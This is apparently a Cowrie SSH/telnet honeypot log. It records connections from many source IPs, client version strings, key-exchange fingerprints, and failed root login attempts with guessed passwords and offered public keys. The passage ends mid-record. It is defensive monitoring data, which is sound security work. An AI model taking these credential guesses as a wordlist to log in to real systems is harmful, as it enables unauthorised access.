{"eventid":"cowrie.login.failed","username":"ociispth","password":"ociispth","message":"login attempt [ociispth/ociispth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:39:34.153745Z","src_ip":"103.15.226.202","session":"eb8184951e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:39:35.402567Z","src_ip":"103.15.226.202","session":"eb8184951e00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":61358,"dst_ip":"10.17.0.5","dst_port":23,"session":"21e444fe0efb","protocol":"telnet","message":"New connection: 212.55.149.117:61358 (10.17.0.5:23) [session: 21e444fe0efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:40:25.964249Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":45532,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec097af6ebad","protocol":"ssh","message":"New connection: 193.24.211.100:45532 (159.203.135.109:22) [session: ec097af6ebad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:42:02.092892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:42:02.103298Z","src_ip":"193.24.211.100","session":"ec097af6ebad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:42:02.333482Z","src_ip":"193.24.211.100","session":"ec097af6ebad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"juan","message":"login attempt [root/juan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:42:02.756079Z","src_ip":"193.24.211.100","session":"ec097af6ebad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:42:03.891841Z","src_ip":"193.24.211.100","session":"ec097af6ebad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":59058,"dst_ip":"10.17.0.5","dst_port":23,"session":"10efefc7f238","protocol":"telnet","message":"New connection: 103.153.183.192:59058 (10.17.0.5:23) [session: 10efefc7f238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:42:12.179887Z"}
{"eventid":"cowrie.session.closed","duration":0.0059604644775390625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:42:12.185700Z","src_ip":"103.153.183.192","session":"10efefc7f238","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00265669822693,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:42:25.966729Z","src_ip":"212.55.149.117","session":"21e444fe0efb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":11261,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a5ce10620bb","protocol":"telnet","message":"New connection: 212.55.149.117:11261 (10.17.0.5:23) [session: 1a5ce10620bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:42:38.216181Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.77","src_port":49166,"dst_ip":"10.17.0.5","dst_port":22,"session":"0db812c72219","protocol":"ssh","message":"New connection: 205.210.31.77:49166 (10.17.0.5:22) [session: 0db812c72219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:42:53.369669Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:42:53.525200Z","src_ip":"205.210.31.77","session":"0db812c72219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49812,"dst_ip":"10.17.0.5","dst_port":22,"session":"54cafa325d93","protocol":"ssh","message":"New connection: 103.15.226.202:49812 (10.17.0.5:22) [session: 54cafa325d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:43:06.638231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:43:06.643169Z","src_ip":"103.15.226.202","session":"54cafa325d93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:43:06.897100Z","src_ip":"103.15.226.202","session":"54cafa325d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx#EDC4rfv","message":"login attempt [root/!QAZ2wsx#EDC4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:43:07.647377Z","src_ip":"103.15.226.202","session":"54cafa325d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:43:08.901170Z","src_ip":"103.15.226.202","session":"54cafa325d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.07873487472534,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:43:37.294798Z","src_ip":"212.55.149.117","session":"1a5ce10620bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.10.76.214","src_port":36733,"dst_ip":"159.203.135.109","dst_port":23,"session":"1363331a0cfc","protocol":"telnet","message":"New connection: 213.10.76.214:36733 (159.203.135.109:23) [session: 1363331a0cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:43:55.351378Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":59766,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ad4fffa8d0b","protocol":"ssh","message":"New connection: 186.233.184.67:59766 (10.17.0.5:22) [session: 9ad4fffa8d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:02.929934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:02.934828Z","src_ip":"186.233.184.67","session":"9ad4fffa8d0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:02.974391Z","src_ip":"186.233.184.67","session":"9ad4fffa8d0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:ad:4f:a2:e9:a5:9d:51:61:d3:24:a8:82:93:21:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCJ98KPuD37SXjN9qoVFAC/kM290SKHxo6S85dCPeX4dI4AtxsZIXxC0bPgzNpnjCsO+nq4Fr1ENMQDa5ONvM1fVEAgo9Ktv8PBIhVJ/xknikVDEGbVTThrKghC9oXsV5n3aezx9v8ELmdQ+ca+Gh7G/jXsssGOhymX0RYFGNuxy1itn44tnNz4x6mJJ0GfHoDtfPCzOzHLnERqLxqLJTxDQtKX+mP8T7MG4hScgkzocJG+tPLdpw/Xu+DFWgWCUkWn8sLcJsXGZpcRA7LRv6QkYo5/6AWjAnSLn8qFw3CWAUHynsXoDazBPGHssPZxjjesyISSB3kzqU2r++0E1bF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:ad:4f:a2:e9:a5:9d:51:61:d3:24:a8:82:93:21:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:03.145198Z","src_ip":"186.233.184.67","session":"9ad4fffa8d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:ad:4f:a2:e9:a5:9d:51:61:d3:24:a8:82:93:21:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCJ98KPuD37SXjN9qoVFAC/kM290SKHxo6S85dCPeX4dI4AtxsZIXxC0bPgzNpnjCsO+nq4Fr1ENMQDa5ONvM1fVEAgo9Ktv8PBIhVJ/xknikVDEGbVTThrKghC9oXsV5n3aezx9v8ELmdQ+ca+Gh7G/jXsssGOhymX0RYFGNuxy1itn44tnNz4x6mJJ0GfHoDtfPCzOzHLnERqLxqLJTxDQtKX+mP8T7MG4hScgkzocJG+tPLdpw/Xu+DFWgWCUkWn8sLcJsXGZpcRA7LRv6QkYo5/6AWjAnSLn8qFw3CWAUHynsXoDazBPGHssPZxjjesyISSB3kzqU2r++0E1bF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:03.151336Z","src_ip":"186.233.184.67","session":"9ad4fffa8d0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:85:b8:2a:d5:89:37:fc:79:90:6c:2b:33:d9:d2:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiZs7vx5KY/6WrP6rw5tbw4sCg2XpDZpGvqgr2OZCBw8EKHI6wpskKXr/tfk5yUzJQGQuVj0dCNv44vZMOFoNBsPxTQhmT5sSsletFiuz/ODA6OLEG3/gFe87hN/qzDAvs6HK95jKIen4iYdLMUPFpL5w8LXVQRoe4WkFq7JGjI54NyXDrMs//juZAhJKlRsgoU/HZgFMddGx0g1nddiDs1nDQc5jQzVhjvomABKmKaZ8aa0FMVItEtXKJ9tvIw9Z+0NDVcdVz9i6Nqqq7HFqHdrrTIQTFjVT6uM6UyyomepIpYF/xI8dzNrBxS04dsliBvCln0o58zameaa0CupG9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:85:b8:2a:d5:89:37:fc:79:90:6c:2b:33:d9:d2:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:03.190953Z","src_ip":"186.233.184.67","session":"9ad4fffa8d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:85:b8:2a:d5:89:37:fc:79:90:6c:2b:33:d9:d2:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiZs7vx5KY/6WrP6rw5tbw4sCg2XpDZpGvqgr2OZCBw8EKHI6wpskKXr/tfk5yUzJQGQuVj0dCNv44vZMOFoNBsPxTQhmT5sSsletFiuz/ODA6OLEG3/gFe87hN/qzDAvs6HK95jKIen4iYdLMUPFpL5w8LXVQRoe4WkFq7JGjI54NyXDrMs//juZAhJKlRsgoU/HZgFMddGx0g1nddiDs1nDQc5jQzVhjvomABKmKaZ8aa0FMVItEtXKJ9tvIw9Z+0NDVcdVz9i6Nqqq7HFqHdrrTIQTFjVT6uM6UyyomepIpYF/xI8dzNrBxS04dsliBvCln0o58zameaa0CupG9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:03.195003Z","src_ip":"186.233.184.67","session":"9ad4fffa8d0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:9c:ad:42:a2:6d:17:e5:c6:50:29:e5:83:3b:d1:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9zNg2IYDXqflLK93LNb0qmeCW54vRVvEi6U/lKrH9sxdfloWelVxVGYOlZY2tQdwLvA3FFY56Pqc2dVLM4FL5/0c1Orq/zGydiyl6hYOslDNBKB7cgkbQnu6QgK2tZQ8ABYLySWUWi/myoztvad+IZtKUYPSW3qjzGcs9z1nVAjy7dGV0jeLjO/FIpp0mNADkvqy7SHjYv8g7VHCSPAjq7YjqLK6WdG9Dp36fHQSTKdKvuxMSguLXRLbxbogdCxkkgXJySlKgUdoQ5TA1JVRbZqhhZVmiBKoriTWLve0qo4KAvL8D7wjdKyTlfYRBkW8uadw+dCkXdPnNWPTP4Udxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:9c:ad:42:a2:6d:17:e5:c6:50:29:e5:83:3b:d1:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:03.233893Z","src_ip":"186.233.184.67","session":"9ad4fffa8d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:9c:ad:42:a2:6d:17:e5:c6:50:29:e5:83:3b:d1:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9zNg2IYDXqflLK93LNb0qmeCW54vRVvEi6U/lKrH9sxdfloWelVxVGYOlZY2tQdwLvA3FFY56Pqc2dVLM4FL5/0c1Orq/zGydiyl6hYOslDNBKB7cgkbQnu6QgK2tZQ8ABYLySWUWi/myoztvad+IZtKUYPSW3qjzGcs9z1nVAjy7dGV0jeLjO/FIpp0mNADkvqy7SHjYv8g7VHCSPAjq7YjqLK6WdG9Dp36fHQSTKdKvuxMSguLXRLbxbogdCxkkgXJySlKgUdoQ5TA1JVRbZqhhZVmiBKoriTWLve0qo4KAvL8D7wjdKyTlfYRBkW8uadw+dCkXdPnNWPTP4Udxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:03.237614Z","src_ip":"186.233.184.67","session":"9ad4fffa8d0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:b3:1b:fa:aa:42:d4:e8:24:37:f2:3d:95:f4:29:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArQ7BTizwftY2W5xW9qOstrySmGYx1zD4e0U0HNL/iA25qmlFLlXaGRyQzFmg9c+zeMTvKM5KDNgSlonB7ehrfQjHY45notKcV1KdGDwuPuq1iSiU97od6chaWC3DVk1zz3VSb6366Niepy2ZLhAhbQPpyLyIvVIcM6LhMx0YjcLSJn/BK1NRtkcEdKXXj5uW4xKWSutTnNfN2BbermqJKGueVYZRK1PPelVF3x/TvFUeuZ/0xfeNhZzG/TKOHMOWY/usa1LPWmneEeCnLQdO5/lntAFB0B7sGnXD9Z1QJ1sKs2lQro1cDtLwgDKqCiEYhvIjRrroGj+SQ+YVxyFEMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:b3:1b:fa:aa:42:d4:e8:24:37:f2:3d:95:f4:29:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:03.278130Z","src_ip":"186.233.184.67","session":"9ad4fffa8d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:b3:1b:fa:aa:42:d4:e8:24:37:f2:3d:95:f4:29:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArQ7BTizwftY2W5xW9qOstrySmGYx1zD4e0U0HNL/iA25qmlFLlXaGRyQzFmg9c+zeMTvKM5KDNgSlonB7ehrfQjHY45notKcV1KdGDwuPuq1iSiU97od6chaWC3DVk1zz3VSb6366Niepy2ZLhAhbQPpyLyIvVIcM6LhMx0YjcLSJn/BK1NRtkcEdKXXj5uW4xKWSutTnNfN2BbermqJKGueVYZRK1PPelVF3x/TvFUeuZ/0xfeNhZzG/TKOHMOWY/usa1LPWmneEeCnLQdO5/lntAFB0B7sGnXD9Z1QJ1sKs2lQro1cDtLwgDKqCiEYhvIjRrroGj+SQ+YVxyFEMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:03.282323Z","src_ip":"186.233.184.67","session":"9ad4fffa8d0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:3a:82:e9:04:19:3f:c2:77:17:19:1e:ab:34:7c:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAy3QAfurVBjCafIJObmErPY32J08fc9VhYm++Xqed4jLuRS37Lz6PV86DKRNVVWrW3V//bxtcW9a+5sg1/Es9G6pdTPSz53Wk/E/G1ZBUlC+yfSYxEqwgoIYQ5Hlxn8rD6ykJ+cFsqc/6t4SUUPkESoYlVPF+L4XiS+leafKzqIE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:3a:82:e9:04:19:3f:c2:77:17:19:1e:ab:34:7c:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:03.325436Z","src_ip":"186.233.184.67","session":"9ad4fffa8d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:3a:82:e9:04:19:3f:c2:77:17:19:1e:ab:34:7c:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAy3QAfurVBjCafIJObmErPY32J08fc9VhYm++Xqed4jLuRS37Lz6PV86DKRNVVWrW3V//bxtcW9a+5sg1/Es9G6pdTPSz53Wk/E/G1ZBUlC+yfSYxEqwgoIYQ5Hlxn8rD6ykJ+cFsqc/6t4SUUPkESoYlVPF+L4XiS+leafKzqIE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:03.329788Z","src_ip":"186.233.184.67","session":"9ad4fffa8d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:03.373740Z","src_ip":"186.233.184.67","session":"9ad4fffa8d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.187726497650146,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:08.538832Z","src_ip":"213.10.76.214","session":"1363331a0cfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.134.49.60","src_port":55994,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c3c66c090d8","protocol":"ssh","message":"New connection: 185.134.49.60:55994 (10.17.0.5:22) [session: 6c3c66c090d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:49.200453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:49.205057Z","src_ip":"185.134.49.60","session":"6c3c66c090d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.